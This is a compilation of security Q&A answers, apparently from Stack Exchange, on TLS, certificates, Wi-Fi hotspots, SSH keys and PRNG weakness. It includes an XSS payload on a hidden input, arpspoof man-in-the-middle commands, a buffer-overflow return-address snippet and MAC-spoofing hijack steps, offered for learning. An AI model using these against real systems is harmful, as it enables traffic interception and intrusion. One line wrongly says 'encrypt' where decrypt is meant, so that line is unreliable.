The usual way this is done is to have Alice sign the set of DH parameters to use. This requires Alice's key and certificate to be appropriate for signatures. In two widely deployed protocols:

In SSL/TLS, when Alice (the server) wants to use Diffie-Hellman for key exchange, it selects one of the DHE cipher suites. The DH parameters and the DH public key (the server's half of the DH) are encoded as a ServerKeyExchange message, which the server signs with its private key.
In S/MIME, when Alice signs an email, she can include in the signature object (under the cover of the signature) an SMIMECapabilities attribute which can contain the DH parameters and public key to use, should the recipient wish the respond to Alice with an encrypted email.

It is also possible to have a certificate which contains a DH public key (and parameters) directly, but this is much more rarely done because such certificates cannot be used for signatures, only key exchange.

The DH parameters themselves (not the public key) could also be "well-known" and thus distributed with the software. This is what usually happens with elliptic-curve variants of DH (building your own curve is possible but relatively expensive, and most software only supports a subset of the 15 NIST curves).

Custom extensions means that only your software will be able to process them, which is often restrictive, so this is discouraged. Also, embedding data in the certificate implies that the data (whatever it is) is chosen by the CA and has the same lifetime than the certificate itself, which may or may not be adequate (this is worth considering).


How does Chat monitor work,if we use encrypted service like gtalk

SSL cannot decrypted if properly used. I tried reading about that software that claims to help in reading chat logs, but it is not clear how they work.

One possibility is to deploy some proxy server and then allow all connections though the proxy server.So your client would actually connect to the proxy and the proxy would connect to the public server.In such a scenario, anything originating from your machine can be read by a software deployed on the proxy server


Is WiFi confidentiality provided by public hotspot gateways same or worse than WPA2?

Security is worse and goes beyond a simple confidentiality issue.

As you stated it is indeed "subject to casual eavesdropping", but as you also noticed the legitimate user is "allowed to connect to the Internet through MAC address filtering".

An attacker can change his own MAC address to share the same one as the legitimate user. This creates a MAC address conflict, but in practice this just results in some warning messages appended to some system log file that end-users never check anyway. Connection is maintained and works for both parties simultaneously (as they share the same collision domain).

From now on, not only the attacker can eavesdrop legitimate user's data but the attacker can now impersonate him in the eyes of the hotspot (and the infrastructure and provider behind it). The attacker is usually also able to keep the access open any arbitrary time after that the legitimate user went away (this requires the attacker to simulate regular activity all along, either any random activity or simulate a certain "authentication" web page refresh, but this is easily automatable).

Most, if not all unencrypted open WiFi accesses relying on a portal suffer from such issues: hostel, paid WiFi access, public hotspot services that some ISPs push to their end-user to share their WiFi with other subscribers, etc.

From there, you have two main ways to secure this:

Either stay in the upper network layers: provide a VPN client application to the user (don't necessarily call this a VPN, from a commercial point-of-view anything will do: "WiFi-Access", etc.). Instead of using a web page the user will use its client software to authenticate itself and "open" the WiFi access (in practice the unencrypted WiFi provides access to a VPN server, itself providing access to the Internet to authenticated clients).
Or you fix the problem in the lower layers: provide end-user either a PSK "WiFi password" (hostels case for instance), or instead of providing them an VPN client application provide them certificates that will be used to connect to your hotspots (ISPs case for instance). From there a more secure channel will be established between the end-user and the acces-point, allowing the user to securely authenticate to the hotspot's captive page.

There is no way here to, as you suggested, create a security token at an higher layer (the application layer, here the browser) to use it to secure a lower layer (the data link layer, here the WiFi connection). You implement security either at one or the other layer.


XSS on an input element with style="display: none"

You can always use the same approach which may be used for hidden input, but this requires quite a bit of social engineering as it's difficult to trigger.

You can however use a different event attribute which may be easier to trigger. oninvalid comes to mind as it doesn't require the element to be shown:

<form>
<input type="text" style="display: none;" value="aa" oninvalid="alert(1)" pattern="b">
<input type="submit" value="Submit">
</form>


Malicious DNS alteration usually drives people to phishing sites instead of the legitimate site they want, but it can also be used to prevent machines from retrieving updates for their OS/Security software, or route your connections through a proxy where an adversary can intercept communications.


I assume you mean by 'tracing' that one can determine your location. Your location can be determined by the network address.

There are several ways to determine your network address whilst connecting to an smtp server via telnet:

The owner of the smtp server can log all activity, including your network address.
Intermediate nodes between you and the smtp server can log your network address.
On the receiver side, the e-mail you spoofed will contain your network address in the Received header.


Are the GET values also encrypted/secured by SSL?

Yes, any value in a GET statement or POST data (e.g. ?user=ANYTHING), is encrypted once the SSL/TLS sessions are negotiated.

During an TLS connection, the first thing that happens is a "Client Hello" messages that begins negotiating the encryption ciphers/hashing ciphers to establish a connection.  On some browsers, the hostname is sent using the SNI protocol prior to establishing the session.  Also, if using an explicit HTTP proxy (configured by browser settings, group policy) the plain hostname submitted via a CONNECT statement transmitted in plaintext. However, it's only the hostname that is sent in the most verbose scenario, never the page being requested or POST data.

After the session is negotiated, the traditional HTTP GET command is then issued.  This command is sent over a TLS session, so the data is encrypted and not vulnerable to easy eavesdropping.

You can take a look here for a bit more detail.


The Certificate Signing Request, as generated by the command :

openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key

will include your public key. This is mandatory as per the PKI process. The CSR, containing your entity information and the public key is sent to any Certificate Authority you like for a request of certificate (hence the CSR name). The CSR is signed using the private key that is linked to the embedded public key.

The CA, after assessing your identity, will basically sign the CSR to create a valid certificate for you. This is the certificate you will send to clients, e.g. when they connect to your website.

The private key in your privateKey.key file will be used by your webserver to decrypt messages sent to it. This private key should never, ever leave the server.

You can check the most common openSSL commands for more information.


How does an OS execute code from a PNG file?

Looks that the bug is on the application that reads the PNG file. This works in the same way with vulnerabilities on pdf files, the vulnerability is on the application that process that file not on the operating system. So if the vulnerable application process the png file and have an issue with some crazy buffer that allows to execute binary code or other type of code, that code will be executed because is on the same execute environment of the application that is vulnerable. Hope this clarify your question.


The power in a certificate is NOT in the certificate. It is in the private key. When a server "uses a certificate", it really uses the private key; and the server shows the certificate (that contains only the public key) to the client. The certificate is a proof that a given public key belongs to a specifically named entity. For instance, the certificate that is used by the SSL server www.google.com contains that name (www.google.com) and Google's public key. Google won't show you their private key, of course !

A certificate is not accepted as proof merely because it exists; a client is supposed to perform certificate validation, a complex and convoluted process which entails building certificate chains and verifying a lot of signatures, because a certificate is signed by an authority that is endowed with the power to sign certificate, and is therefore named a certification authority (or CA for short).

Certificates are described in X.509, which is best described as "the Devil's Masterpiece Of Confusion". To practically cope with the sheer complexity of X.509, implementations, in particular Web browsers and other SSL client applications, tend to "take shortcuts" which allow the whole validation thing to complete within reasonable time, but also have a deleterious effect on overall security.

Certificate pinning is a method by which some implementations try to restore a bit of security while still being practical. All of X.509 is context-free: a client is supposed to be able to validate a server certificate without any memory or state kept from previous validations. Certificate pinning is the negation of that notion: the client "pins" a certificate by remembering that a given certificate was used by some server, and then using that information to efficiently "validate" that certificate, should the client connect again to the same server. Pinning even goes to reject a server certificate if it is not the same as the one used by the server during a previous connection to that same server.

The idea is that if an attacker tries to show you a fake server, he won't be able to show the certificate of the genuine server -- of course, the attacker could show a copy of the true certificate (that's public data, the server sends it to all connecting clients), but the attacker would not be able to use the corresponding private key, since he does not have it (the private key, as the name says, is private). Instead, in order to be able to pose as a fake server that can do a complete SSL handshake, the attacker must feed the client a fake certificate that contains the attacker's public key, distinct from that of the server. With certificate pinning, the suspicious client will notice that the server apparently switched certificates, and will find that fishy, and will complain to the user, who will then click off the friggin' warning popup and proceed to sending his credit card number to the attacker because users are like that.

It shall be noted that certificate pinning does any good only in cases where the attacker could obtain a certificate that is accepted by what passes for certificate validation code in client applications. There have been a few highly publicized cases of a CA being bribed or hacked into issuing fake certificates; however, this is still rare. Also, certificate pinning cannot be really absolute because certificates have validity dates, for a bunch of reasons (some of them being even rationally acceptable), so there must be some situations where a client with certificate pinning will still accept that the server changed its certificate.

An example of protocol, similar to SSL, and using public/private key pairs (not X.509 certificates, though) in a "full pinning" model, is SSH. When you connect to a SSH server for the first time, the client asks confirmation about whether the public key sent by the server is the right one (the human user is supposed to check the hash of that key with some authoritative source); then, the client remembers that key (in the .ssh/known_hosts file for Unix-based SSH clients) and will scream loudly if the server ever happens to change its key.


How to protect an offline proprietary software from being stolen

With hardware, a TPM or hardware security token would be a possible solution, provided that an employee couldn't simply take it with him when he left the company (e.g. a TPM that was part of the processor, or soldered onto the mainboard)

If you want to work only in software and you can't connect to a network, the only way I see is some kind of serial numbers which expire. Let's say that you require the user of the software to enter a serial number. The software then stores the date at which the serial number was entered and works until two weeks later, when the next valid serial number must be entered. If the user deletes the file that stores the date, you require immediate entry of a new serial number. You'll have to consider that a user could reset the date on his computer to avoid having to enter a new serial number, so you'll have to protect your software against that (e.g. make sure that every time you start the application, time has moved forward from the last time you started it, make sure time doesn't move forward in steps that are too small, etc). This is hard and won't ever be foolproof, but should give you some protection, e.g. raise the bar a bit for thiefs.

As Tensibai said in his comment, ultimately this is all pointless, because if there is enough motivation, someone will circumvent all the safeguards you put in place to keep your software from being stolen, and once that's done, it'll probably be downloadable from somewhere on the internet like every other piece of software that does something worthwile.

Maybe a better solution to your problem would be to make it more attractive for the majority of possible thiefs to pay you to legally use the software?


Prevent Web Login with Credentials Exposed

If i understand the question correctly you're looking to stop users sharing passwords on a web based system.

A common approach for this is to limit each account to one simultaneous session, and the if a new session is commenced, to terminate the original one.

This reduces the effectiveness of sharing passwords as they can't actually use the system at the same time.

You could also try to detect abuse by noting whether one account was coming from a number of different systems ( e.g. Checking things like user agent or source ip address) and then taking some kind of actions if abuse is detected.


No it does not. You can reference Wikipedia:

https://en.wikipedia.org/wiki/Digital_signature

  "A digital signature is a mathematical scheme for demonstrating the
  authenticity of a digital message or document. A valid digital
  signature gives a recipient reason to believe that the message was
  created by a known sender, that the sender cannot deny having sent the
  message (authentication and non-repudiation), and that the message was
  not altered in transit (integrity)."

A digital signature alone does not provide confidentiality since it does not prevent disclosure of information you would want to keep secret. Encryption would be an example of a mechanism to provide confidentiality.


Responsible disclosure: company is dedicated to security but doesn't answer

Many companies do not acknowledge or discuss a security issue (even with the researcher) until a patch has been released and the majority of users have updated (Apple is a good example of this). Some companies may send you an email saying thanks for your report but not further acknowledging it until the patch is released. Public disclosure is rarely a good idea due to the risk of getting legal action taken against you. If I were you I'd keep waiting and if more than a few weeks pass without a patch that fixes the issue, contact them again and again. At some point, it'll hopefully get patched. Good luck with getting this vulnerability fixed and thanks for disclosing responsibly.


Docker containers, environment variables, and databases

A clear answer to your question can really only come from the maintainers of the individual images that are "mis"-using this feature, however some possible explanations are

They aren't aware of the risks.  Docker is a relatively new technology to a lot of people and "best practice" isn't always clear for everyone, although the docker devs have made good efforts in this regard with things like the CIS guide
They're aware of the risks but have decided that it isn't a serious issue to their particular architecture.  This may be the case, for example where other aspects of the system mean that the linked containers are required to trust each other, so compromise of one container leads easily to compromise of the other, regardless of environment variable sharing.
They're aware of the risks, but lack a better alternative.  Ultimately service password management is a tricky problem to solve well and depending on the software in use on the containers, there may not be an option which the maintainers feel would work as well as using environment variables.


Password generator and password limitations

The best known strategy for generating a password is to generate it randomly.  The goal is for it to be as unique as possible, so that it's unlikely to be found in a password dictionary, which is often populated with passwords from previous breaches.

This doesn't change when the site has poor password requirements.

Many password managers will let you specify the types of characters that are allowed and required, as well as the password length. If you can't get your generated password to match the site's requirements, it's okay to edit the password by hand.

If you're feeling generous, and would like to help the other users of the site, you can go a step further and complain to customer service over the password requirements, citing best practices and standards, such as the NIST Authentication Guidelines.

When I complain to customer service, and if I don't care for a response, but would want to make sure their customer service department forwards the complaint to their developers -- or I see evidence that passwords are being handled in an absurdly unsafe way like being stored as plaintext -- I rudely question the intelligence of their developers, managers, and company officers while making certain that the best practices are well cited, such as pointing out the specific section and paragraph...

I.e., saying something along the lines of "the first paragraph of Section 5.1.1.2 of NIST Special Publication 800-63b sets 8 character passwords as the absolute minimum, and very strongly recommends going up to 64 characters or more. Only an idiot tells their employees to do the absolute minimum for security, and any developer who graduated grade school would know that the only technical reason to restrict password length is that bcrypt can't handle passwords longer than 72 bytes long!  After all, every password is stored as an unrecoverable hash, so input length doesn't affect output length, right?  RIGHT???"

I don't get responses when I send emails like that, but I do see that the password requirements change within weeks of sending those emails, so...


Amazon AWS KMS - Concept of signing in general and with JWT

KMS + JWT is confusing and easily misused. This question is about pragmatics, so summary answers below, happy to expand on them but the details are intricate.

1) Is signing barely encryption of the hash of the content?

It is not.

2) In JWT case, if I hash the content of JWT and encrypt it and
   put it in signature field, will it be correct signing?

It will not.

If you are using JWTs for authorization tokens, here's the short version of what you likely want to do:

Use KMS to generate a 256 bit Data Key, in both encrypted and plaintext forms: https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html
Save the encrypted form of the data key, along with the CMK key-id under which it was minted, in your database or with application configuration
Use the 256 bit plaintext Data Key as the "secret" with your language platform's preferred JWT library to sign and validate JWTs.
When your application restarts, get the encrypted Data Key from the database, call KMS Decrypt on it to get the plaintext version of the Data Key, and use as above for JWT signing and validation

Hope that helps.


How can I decrypt data with Java, without hard-coding the key?

You need to store a "password" (or password to decrypt the password, or password to decrypt the password to decrypt the password, etc ad infinitum), somewhere.

So, either you can store it

on the computer, but then it can be deobfuscated and read (if your program can do it, any program can do it)
or in the user's head (harder to get at programatically, but has its own set of problems - 12345, Post-It notes, etc.)
or in a device that the user takes with them (likely to get lost/stolen, more expensive)

Depending on what you're protecting (a bank vault, or lolcat pictures?), these approaches can be combined or used separately. You also should take into account the encryption strength, in addition to password strength - "no point in using a vault door on a garden shed which has a window in the back".


This is simply not a viable business option for security testing companies, as you can never know in advance what you will face during a pentest engagement.

Furthermore, those services are purchased by customers to evaluate the security level of a target application / infrastructure / device / whatever, the actual compromise of the target is only the consequence of a successful assessment, not the main objective.


Why am I unable to connect to an address spoofed with arpspoof?

There's an IP collision going on.  Although you've convinced 192.168.1.31 that you're 192.168.1.1 with the following command (meaning you've influenced its routing table):

sudo arpspoof -i eth0 -t 192.168.1.31 192.168.1.1

... the 192.168.1.1 still thinks its 192.168.1.1, so when it sees arp requests for its own IP both your machine and the router will respond with a MAC address. The first MAC address received will be the one to get the packet (don't think that because you see an entry for your poisoned IP in arp -n that arp requests for that IP will necessarily cease). Also, it doesn't know NOT to send packets to the victim machine, or to respond to other packets that appear to come from that machine.

Typically, man-in-the middle is just that, "in the middle" so you should try the following:

sudo arpspoof -i eth0 -t 192.168.1.31 192.168.1.1

sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.31

The second one tells your router to send packets addressed to IP 192.168.1.31 to you (rather than the original victim machine). If your victim machine gets a packet from the real 192.168.1.1 with the real MAC address of that machine, do you know what it's behaviour will be?  So it's best to avoid this possibility by redirecting any packets from the real 192.168.1.1 destined to 192.168.1.31 to you, since you're suppose to be in the middle.


Are IP addresses used for tracking / advertising?

For a detailed user profiling IP addresses by its own are not exact enough because in today's world of mobile devices the IP address of the same user changes too often and also multiple users have the same public IP address.

But IP addresses are used to get the approximate location of the user and thus do location aware advertisements. Or they can be associated with some organization (company, university) and thus add additional information to the user profile. Together with a known profile of the company targeted ads can be delivered to specific business areas (IT security, health care, education...) or single companies. Such detailed profiling is actually offered by the advertisement companies.

Interestingly the same targeting techniques are also used to deliver malware in targeted attacks against some company. And increasingly the ad-networks are used to deliver this malware (malvertisement).


How can you draw attention to your web application honeypot?

This will greatly depends on the usage you intend for the honeypot.

There was another discussion linking to an interesting document highlighting legal consequences of honeypot usage. Indeed, advertising the honeypot the wrong way might lead you in hot waters from a legal perspective.

Some specific honeypots implementation will therefore not be implemented without the help of a lawyer qualified on IT security questions (and the linked post was closed as out-of-topic because of this very reason: at some points it requires more legal than technical knowledge).

However, taking some precautions and staying transparent on your position might help being out of any legal issue. In the linked post, among other suggestions I made these one are most specifically related to honeypot advertising (I encourage you however to read the whole thread and the original document linked by the OP which was very informative):

  Do not encourage any illegal activity. Do not advertize the honeypot in a dubious way. Either do not advertize it at all, letting
  automated scanners discovering it, or advertize it officially as some
  kind of "hackme" educational system. For instance, spreading pseudo
  "leak" information on the Internet regarding the server to encourage
  attacker to exploit it can lead you to trouble.
  Present the honeypot system as a private monitored system. Honeypots are heavily monitored systems, and there are laws defining
  the data you may or may not collect regarding other people's, how long
  you are allowed to keep them and what processing you may do with them.
  Present the honeypot as much as possible (since some service do not
  have any banner...) as a private system whose usage imply user's
  consent to be monitored. This will limit any potential threat
  regarding this data collection and analysis activity.


What is this Russian calendar reminder that popped up?

It appears to be this: https://www.androidpolice.com/2019/06/22/google-calendar-phising-scam/

  Scammers are exploiting [Google] Calendar['s] default setting, which automatically adds invites to your agenda, even if you haven't accepted them. Even worse, it'll create an automatic reminder to notify you a few minutes before the fake event takes place. [...] The invitation would typically contain a link to collect sensitive data such as your credit card or bank account number. Since the notification comes from an app people tend to trust, they'd pay less attention to its authenticity, which is precisely what attackers want.

The article also mentions how to fix this google calendar bug (ahem, I mean 'feature' of course):

  [to deactivate] automatic event creation[,] head over to Calendar's settings using a computer, navigate to Event Settings -> Automatically add invitations -> No, only show invitations to which I've responded. You can also prevent Calendar from showing declined events in your agenda by going to View Options and deselecting Show declined events.


Do long lived TLS connections pose a security risk?

One place to look for more information about this could be VPNs that use SSL/TLS.

For example with OpenVPN you have to explicitly kill the client connection if it is active:

"...and have the new CRL take effect immediately for newly connecting clients. If the client whose certificate you are revoking is already connected, you can restart the server via a signal (SIGUSR1 or SIGHUP) and flush all clients, or you can telnet to the management interface and explicitly kill the specific client..."

https://openvpn.net/community-resources/revoking-certificates/

I'm not finding anything on clients checking server certs unfortunately.


Could Stock Exchange be shut down by HFT attack vector?

The key issue with high-frequency or microtrading is the latency, indeed people deploy the systems as close as they can to internet exchanges to get around the one-foot-per-nanosecond unescapable delay in sending data electromagnetically. This means a couple of things:

if you can slow down such trades, they might take place after the opportunity has passed, or the system might have to cancel them. This could mean losing the victim money on a faulty or missed trade, but if the trade is placed despite the delay it could also have a knock-on effect on other traders (or the companies whose stock is being traded) when remote systems react to the delayed trades
any security countermeasures implemented to protect microtrading systems cannot introduce delay into the system, without reducing the value that can be derived from such trading. Therefore you don't have to get much of a reaction from the CSO before turning the system off preferable to protecting it.


What could be the reason for the high traffic on the local network?

If you are not versed in network problems it will be very difficult for you to find the origin of the problem, but just in case you are, you can do the following but you will need to have a registry of which PC/Server has which IP.

Have a look to the log in the firewall that blocks the traffic and check for the IP (or IPs) of origin.
Go to the PC/server, check if there is any "normal" software that might be causing the problem and if you can't find any then it is probably malware so you will need to nuke it from orbit.

For the not versed or if you haven't got any registry:

Find the router which connects all the PCs.
Check the light/lights which are blinking.
If you find any reason for those PCs generating traffic or unsure leave them plugged.
If not, disconnect the cables and wait until morning to find which PCs can't access to internet. (You will notice when they shout).

As a way to improve and to easily solve future problems, consider having fixed IPs for every server/user PC and consider having the cables labelled to easily identify which cable correspond with which PC/Server.

It shouldn't take more than half a day to verify these problems for an IT network guy in an small enterprise.


PHP's rand() generator is a based on the system implementation, which is usually a weak LCG or LFSR (see Andrey's comment below). For more info on why these types of generators are bad, take a look at How insecure are non-cryptographic random number generators?

The mt_rand() function uses Mersenne Twister, which isn't much better. You can determine the internal state and all future values after observing just 624 values.

Don't use either in any situation where you require cryptographic-strength randomness, including CSRF / password-equivilent tokens. A better alternative is the openssl_random_pseudo_bytes function, or reading from /dev/urandom. You could also look into implementing Blum Blum Shub, which is a strong (albeit slow) PRNG.

EDIT (Feb 2017): As of PHP7 the correct method to generate secure random bytes is the random_bytes() function. For more detailed advice about secure RNGs in a variety of languages, take a look at this article.


Setting a return address in a simple C exploit

Changed the code,
I had to create a pointer on the return address and fill it with a loop.

char *ptr = (char*)ret;

for(i=0;i<6;i++){
    *(buffer+72+i) = ptr[i];
}

In x64 you have to find the exact size you need to overflow because of the kernel space address that will raise exeption if your rip points above 0x00007fffffffff. See https://www.exploit-db.com/docs/33698.pdf


It depends on how much you trust the security of Adobe's DNS hosting compared to where your DNS hosting currently takes place.

DNS security is inherently an issue of trust as the way in which the DNS system resolves your domain name to a given destination IP, and any compromise of the authoritative name server can allow an attacker to point your domain at a spoof site or service and the user may not notice (depending on whether you are using additional security such as SSL certificates etc.) Also remember that the authoritative DNS hosting company automatically gains some statistics about the resolution sources and patterns of requests to your domain which is unlikely to be an issue but should be mentioned.

With  redelegation - i.e. changing the DNS hosting to another company - if you trust the overall security of the new company as much as the current one then there should be no overall security risk.

There is one small wrinkle to this - if you currently run your own authoritative DNS for the domain(s) in question and you use it to resolve hidden information (maybe an internal mail MX record that is for internal use only) and hide these specific types of resolution by filtering these resolution requests from the public internet then this will no longer be possible. This is a very rare and unusual scenario though.


I'm agreeing with AndyMac that you are in fact not a shared hosting provider, you are just offering a platform, so I think your QSA is wrong. So what do you do if you are not sure about his opinion? Then you get a second opinion where you explain your concerns! Ensure that you challenge your QSA first to explain why he believes you are a shared hosting provider even though you aren't running code of your clients but your own.

But remember that PCI-DSS is about implementing a security baseline. Now you can make it yourself really complex and start building complex network segragation and implementing seperate processes etc... In my opionion, what you should do is use a system where you template an OS with your application + seperate database and just deploy one per client in an isolated trust zone. Then you can forward from a dedicated IP on a per port basis or if you run it through a VPN only provide 1-to-1 connectivity for a certain IP address based on the login credentials.


Most likely either another administrator or some of your users have set their computers to use Google's DNS service (located at IP addresses 8.8.8.8 and 8.8.4.4). It's probably nothing to worry about. If your firewall has packet capture capabilities, you can try running a capture and then opening the capture file in Wireshark to inspect the traffic and make sure it's actually DNS and that the queries are not for malware domains. If none of your firewalls/routers can do packet captures it may be easiest to physically go to the computers and look at the DNS settings or ask your users if they've changed them.


When using WiFi i.e. 802.11 as the link layer, the frame headers aren't encrypted, revealing three MAC addresses (actually four, but the fourth is only used in ad-hoc mode). If you are more interested in the theory and how it looks like, you could read my more detailed answer to question "What does WPA2 traffic look like to a packet sniffer that is not connected to the network?"
This answers your first two questions:

From the MAC addresses it is possible to know the number of devices and mostly their manufacturers, too, as the first three octets are the organizationally unique identifier (OUI). The number of different MAC addresses will reveal the number of devices connected to the access point.

It is impossible to hide this information. While it is easy to spoof MAC address with computers, that does not work for all IoT devices. Also, spoofing and even changing the MAC address from time to time does not really hide the number of devices connected at a certain time. It can merely hide the vendor.

The last question depends on the encryption you are using. I assume you have properly protected your network with WPA2, and as a home user it is probably WPA2-PSK (pre-shared key), hopefully with AES (see e.g. Chris Hoffman: Wi-Fi Security: Should You Use WPA2-AES, WPA2-TKIP, or Both? for more details on why this matters).

With WPA2-PSK, it is not possible to deduce the pre-shared key from the encrypted data. It does not matter whether someone sniffing your network does know the sites or not, as this information is within the encrypted payload.

However, it works the other way around. If an attacker can get your pre-shared key i.e. your "WiFi password", it will be possible to encrypt everything that has been captured from the network, given the capture contains the 4-way handshake. It is easy to deauthenticate a device, forcing a new 4-way handshake, so it is wise to always assume the attacker has it. It is also possible to try and brute-force the PSK against the captured traffic. For these reasons, you should use a long, random PSK and not keep it in a visible place.


Instant signin links for users from trusted third party sites

JWT is a reasonable way to do this, as is OpenID or OAuth (With OAuth, what you are doing is creating a provider that will verify the userid).  Try to use standard libraries as much as possible - it is really easy to get Tokens wrong (enabling replay attacks and similar).  As well, all communications should be encrypted (TLS).


Are powerline ethernet adapters inherently secure?

You do get some security from the way your fuse box is connected to the mains.

In principle you should get a good signal across any part of the wiring in your house that is on the same phase, and you shouldn't get any on the other phases.

In reality though, that isn't quite true - depending on your fuse box, you may get some bleed over onto the other phases, and you will almost definitely get leakage outside your 4 walls.

This is why encryption was put in place on these types of things - a neighbour may be able to sniff your traffic.

Things that help with security, because they hinder signal strength - surge protectors, UPS's etc. but those don't prevent an attacker.

tl;dr

Encrypt, because you will be leaking signal. Not so much wirelessly (it can be done but it is tricky) but just across the existing mains wiring.


Not only could 1password be hacked, they probably already have. Assuming that you have already been hacked is one of the cornerstones of modern security practice.
Even if their specific hackers haven't got access to their encryption keys, it is very likely that they'll just be voluntarily giving these keys away to a requesting government agency.
I'm something of an expert on secrets management, having designed and implemented secrets management systems for large banks. I strongly believe that if an external party has ever, even potentially, had access to a secret then it should be considered to have been disclosed, unsafe, and no longer a secret. Actually, I also believe that if a human ever has, even potentially, access to a secret, then it is also no longer considered to be secret.
Having said all that, the problem of 'initial trust' is difficult to solve. Generating an asymmetric key on your trusted device (say, your phone) and sharing one half of it with 1password to use as an encryption key while your device performs all the cryptography functions would be much safer, but would limit you to using your phone to interact with the service, and would depend on the strength of your phone's security (e.g. Samsung/Knox is the only trusted platform for most banks).
The current scheme allows government oversite and access by hackers and can not be trusted. But, it might be safer than your current scheme, so what to do with this info is still in your court.


What's the common pragmatic strategy for managing key pairs?

You already saw the main point: if one of your machines is compromised, the private key contained on this machine must be "revoked": you must configure all servers on which you connect to reject further authentication attempts using that key (i.e. you remove the corresponding public key from the .ssh/authorized_keys of the servers). There is a mitigation technique, which consists in securing the private key with a password (or passphrase). This comes with a price, namely that you have to type the password (ssh-agent can be quite handy for that); on the other hand, this may temporarily deter the attacker from obtaining the private key (this depends on the kind of compromise, but if it is a theft of a complete machine -- a plausible scenario with mobile devices -- then the password will prevent immediate access to the private key and give you some time to reconfigure the servers).

One may note that "PKI" means "Public Key Infrastructure" and SSH is rudimentary in that respect. In a full-blow PKI, certificates would be used, with delegation, and centralization of revocation. With certificates:

you would create one CA key pair, stored safely somewhere;
for each client machine, you would obtain a fresh key pair, the public key being signed by the CA;
the servers would be configured to automatically accept any public key signed by the CA (they would know the CA public key, but not the individual client machine keys);
the CA would maintain and regularly publish revocation information, i.e. the list of public keys which must no longer be accepted even though these keys are signed by the CA (revocation information must be pushed to the servers, or pulled on demand).

The great thing about certificates is that you centralize decisions, which, in practical terms, means that if you connect to 20 servers from your client machines, and then add a new client machine, you do not have to manually push the new public key to all the 20 servers.

OpenSSH, since version 5.4 (released March 8, 2010), has some support for certificates; see the eponymous section in the man page for ssh-keygen. The OpenSSH certificates have a much simpler format than "usual" X.509 certificates (as used with SSL). The simplification also has a price: there is no centralized revocation support. Instead, if a private key is compromised, you still have to blacklist the corresponding public key on all the servers, and the blacklist is, in OpenSSH, a whitelist (option AuthorizedPrincipalsFile in sshd_config) which is, normally, under the control of root. So revocation does not work well and you still have to manually configure things on each server whenever you create or loose a key, the exact inconvenient that PKI was supposed to abolish.

You could still make time-limited keys, because OpenSSH certificates can embed time-limited keys. In that case, you would give to each client machine a key which is good for, say, one week. With keys which die after a week, and a CA public key known by the servers, you have the main CA goodness (no need to push anything on all the servers when a new machine is added to the client pool), and if a private key is compromised, the damage is "limited", assuming you had a key password which, presumably, would resist one week of cracking (but this will not work if the compromise is an hostile takeover with a key logger). Time-limited keys can grow tedious over time, and they assume that all servers have a correctly set clock, which is not always a given (it would be unfortunate to be locked out of a server because the server clock is wildly off, and resetting the clock requires SSH access to the server...).

An additional issue with SSH is that it is easy to add public keys on each server. This means that if an attacker compromises a private key and gains access to a server once, he can add his own public key to the .ssh/authorized_keys on that server, and no amount of revocation will fix that. Revocation is, by nature, an asynchronous process. Hence, it does not implement a sufficiently strict damage control.

Given the shortcomings of SSH support for certificates, there is no reasonable scheme which avoids having to do some configuration on all the servers in some situations. So you have basically the following choices, when you add a new client machine:

You copy the private key from another client machine (that's what you are doing right now). This requires no extra configuration on the servers.
You create a new key pair for that machine. You have to push the public key to all the servers.

In the advent of a key compromise, you must connect to all the servers to remove the corresponding public key from all the .ssh/authorized_keys. This is unavoidable (to avoid it, you would have to use certificates, and SSH is not good at certificates, see above). Then, if you used choice 1, then you must also create a new key pair and push it to all the client machines which were using a copy of the compromised private key.

Hence, choice 1 entails less configuration work than choice 2 in the normal case, but things are reversed if a key compromise occurred. Since compromises are normally rare events, this would favour choice 1 (which is what you already do). So I suggest that you protect your private key with a strong password, and copy it to all your client systems.

Note: in all of the above, I assumed that you wanted to connect to a list of servers with SSH, and you wanted to access any of the servers from any of your client machines. You might want to restrict access, such as accessing a given server only from one or two specific client machines. This can be done with multiple client keys, but configuration complexity increases quadratically.


How can I control all my website's requests?

In fact I'm trying to understand what's the standard way for doing that.

On a properly configured web server, the web server will log all received requests in a log file (the exact content of this log file is usually more or less configurable, depending on the server software used). There are also standard means to centralize the logs if you want to like syslog which will allow you to store and analyze the logs on a different machine.

The content of this log can then be analyzed by external software in order to either:

Generate statistics, there are plenty of monitoring software depending on your exact software and needs,
Detect suspicious behavior, here you will search for IDS / IPS software, depending if you need Detection only (IDS), or Protection too (IPS). Fail2Ban for instance is a classical example of such software for Linux/Unix platforms: it will monitor your server log files, detect suspicious behavior according to some set of rules and optionally trigger an action (send an alert email or update firewall rules to ban the offender for instance).

You did not asked for it in your question, but speaking of standard practice, generally the logs are also analyzed in order to analyze the health of the server software and detect possible issues and outage. As for IDS/IPS, you have the option to have a simple detection & alert system or automatic actions.

With this, usage stats + health stats + security issues, you get a pretty complete view of your server activity.


What is the purpose of Intermediate Certification Authorities store in Windows?

Would it pose any security issue if all of the intermediate certificates were installed in the root store?

Yes. Root-CAs are a pain to revoke. That's why the intermediate-CA idea became popular some years ago. Intermediate CAs are much easier to revoke.

  I'd like to know what's the purpose of this intermediate certificate store...

Speed. It's a cache that Windows uses.

  ...and when should I use it.

You don't. It's automatic.


Certificate authority structure - best practices

When people deploy HTTPS Web sites, they often buy "SSL certificates" from commercial CA. Thus, many sites will use certificates issued by the same root CA, and yet they don't trust each other. Same situation here: using a single root will not induce unwanted cross-customer trust relationships.


Enhanced Key Usage vs. Extended Key Usage

The correct name for the standard extension is Extended Key Usage; see section 4.2.1.12 of RFC 5280. Its OID is 2.5.29.37.

Confusion comes from Microsoft documentation and software:

They use "extended key usage" and "enhanced key usage" interchangeably.
They defined a Microsoft-specific extension called "Application Policies" (OID 1.3.6.1.4.1.311.21.10) which contains the same information as Extended Key Usage, but with the ASN.1 syntax of "Certificate Policies" (another unrelated extension).
Documentation repeatedly talks of storing extended/enhanced key usageS into the Application Policies extension. That is, they use the two expressions "extended key usage" and "enhanced key usage" to designate both the extension and the OID they can put in that extension, or in its clone extension "Application Policies".

Since Microsoft-specific extensions are Microsoft-specific, Microsoft's CA ("Certificate Services") usually includes both extensions (the standard one and the Microsoft one) in issued certificates.


Should I inform the previous email account that it is no longer the main email address of my user?

Not at all. The account and both emails belong to the same person, right? So you are notifying the same user that he changed his email, so you are not publishing anything to a third party.

